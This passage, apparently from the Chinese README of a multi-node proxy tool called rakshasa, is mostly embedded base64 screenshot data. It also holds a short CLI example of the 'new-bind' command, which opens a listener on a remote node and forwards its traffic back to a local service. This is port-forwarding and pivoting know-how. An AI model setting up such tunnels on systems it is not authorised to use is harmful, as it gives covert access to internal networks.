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2cfyoEAEAACnYpALIF/9NFH6fDDD98BDt/v6hR6F4FXHF19e4iooRqcOXMmve9976P169fT0NAQPbFyLf3uN7+inz38YKdiD7uAABAAAkAACAABIAAEgAAQAAJAAAgUgoDrFHpF1NXHJPGu37QCJw3MogMPPozUintfn/puJe69vVtW4B944IHG61//ehodHW2Sd5PAT6ARmj9/fiHGoBEgAASAABAAAkAACAABIAAEgAAQAAKdikCIwGsSr8m7Teo1JvPmzaMPfehDNHny5OZ74PW74BWRV6S+Z3h4uLFp0yYQ+E6NItgFBIAAEAACQAAIAAEgAASAABAAAqUj4HsPvEnatRKubfWqTBH4gYGBcQLf399P6rtlRb7PT+CXD6+lvgZW4Ev3MjoAAkAACAABIAAEgAAQAAJAAAgAgbZHwEfglWHcyrs23ibw5gp8k8CvWrWqobbPq+/IyAitW7eOli1bRk+sfAoEvu1DCAYAASAABIAAEAACQAAIAAEgAASAQBUIhAi8JvG+lXeTwJ988snbbaFXq+/jK/CKwJtb6LcReLUCvx7PwFfhafQBBIAAEAACQAAIAAEgAASAABAAAm2NAEfgJcapFfhTTjllBwI/fpidSeD1Crw6hV5toe8dA4GXgIw6QAAIAAEgAASAABAAAkAACAABINDdCBRF4E899dTx98CrLfR69b25hf4tb3lLo9FokPqOjY01v695zWvo8Le9k3o3r8MKfHfHIKwHAkAACAABIAAEgAAQAAJAAAgAAQECRRH40047zU/gL7roooYm7ps3b24+C79hwwZ69T77U8+mV0DgBY5CFSAABIAAEAACQAAIAAEgAASAABDobgSKIvAf/vCHx7fQm8+/N1fg165d2zzETj0Hr4i7egb+kUceod+teJJo9GUQ+O6OQVgPBIAAEAACQAAIAAEgAASAABAAAgIEiiLwZ5xxRnMF3nyFXG9v75bXyCkCr8i7SeCXLl1Kv1vxFI1teMGv5toh+t6Dv99SPuVYGvjvL9HQz1fT9hK7035T30qH7aqbWUtD33uSXjfwVtqX1P8fpK0tbNfPnoe/j47fJiSAClWkCKxfv5522mknT/WX6eWXd6Vdlb+Uf598Hb1vt/+gHzxKtOeeWuQP9Ac6nN53/GE07lZp56gHBIAAEAACQAAIAAEgUAkC4ZyPiF5+nO77O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) + +注:windows建议使用powershell,cmd下会有一些输入显示bug + +#### CLI模式,反向代理bind示例————在远程节点上监听一个端口,转发到本地某个端口 + +使用方法 new-bind 本地ip:本地port,远程监听ip:远程监听port 目标节点 + +```shell +rakshasa\bind>new-bind 127.0.0.1:81,0.0.0.0:8808 192.168.1.180:8883 +bind 启动成功 +rakshasa\bind> +//在远程机器(192.168.1.180:8883)上,监听0.0.0.0:8808,将所有数据,通过本地节点,发送到127.0.0.1:81,(当然也可以是内网其他电脑ip端口或者其他公网) +rakshasa\bind>list +当前连接数量: 1 +ID 1 本地端口 127.0.0.1:81 远程端口 0.0.0.0:8808 服务器uuid feed089e-20aa-44d5-bbff-07c968a94ffc +//feed089e-20aa-44d5-bbff-07c968a94ffc是(192.168.1.180:8883)的uuid +``` + +在这个例子中,我本地启动的是一个web服务,监听的是127.0.0.1:81,hello打印的是RemoteAddr() +![图片](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAYwAAAB8CAYAAAB63IfnAAAAAXNSR0IArs4c6QAAIABJREFUeF7tnXVcldcfx984u2NDRVFRZreTTZkxsWMG1lQs1DlQJraCCaiAiIId06kos8WeMhNr1izmnFiggGICIgL397pB33ufh1Dxt3P/05Pf9/c85/Oc4PkaKBQKBeInCAgCgoAgIAhIEDAQgiHGiCAgCAgCgoAcAkIw5FASeQQBQUAQEAQQgiEGgSAgCAgCgoAsAkIwZGESmQQBQUAQEASEYIgxIAgIAoKAICCLgBAMWZhEJkFAEBAEBAEhGGIMCAKCgCAgCMgiIARDFiaRSRAQBAQBQUAIhhgDgoAgIAgIArIICMGQhUlkEgQEAUFAEBCCIcaAICAICAKCgCwCQjBkYRKZBAFBQBAQBIRgiDEgCAgCgoAgIIvARxaM5xxZdhODjuZYVJTVX5EpRxH4r/vvU7c/p/c/p/cvqw/jp2ffRxaMWHYOdmPml0P4y6FcVulnoXw8l5f9xux/6rDEsw5GGa4pq+Uz3GAOKZBT/PexcHzq9uf0/uf0/mV13H169n1kwYCoPVsxmlyME9fbUs9AhwNiAxleypfVjdpw/9i3VNDjpwszPegS2Y3H86tkwJuxHJmwlBFXGnPgsDnVMlBSnTWL5QP2UXZgLvbc6cBXGW5bRoH3WH92+0+GNSmyvGCZhSc2fxhArlyUqVWOvuM74DTQiMIZqSgLfCTtP7yTfBOLcuWyBTUy0qdsyHti/DxaeMRoaqrGzpgf6JYvdcV6+39iD6VaXOAZaR9MEzY+G0T/EtnQSYkqJPlGhbFp2n5ctz3icd4StB3eFo8JppTOJbNvH9g/aecnSftkmpHpbFFhrJ+8C5dN4YQWKkF7awvmT62BcR7tNX50wSA6kGHl91PhyFimN9ShGOcPUOnn+1S8VohRj6zoVVQ3nswJRqZxZ0/BLExYsjrwPuvPZv/Jsicpk1owjva3w7ONgvC/LjF+4BXq7xyDR4u88qvKCh8p+z/whJTS6JgXL4mIUkDIRSy/DmeyFsHQ+/zFRPMoIhYFCg7ZL2Rl3cFsH6JUidwUL1uYQnInZfmeSJ9TL18Fl2Yv4rs/qrJpUW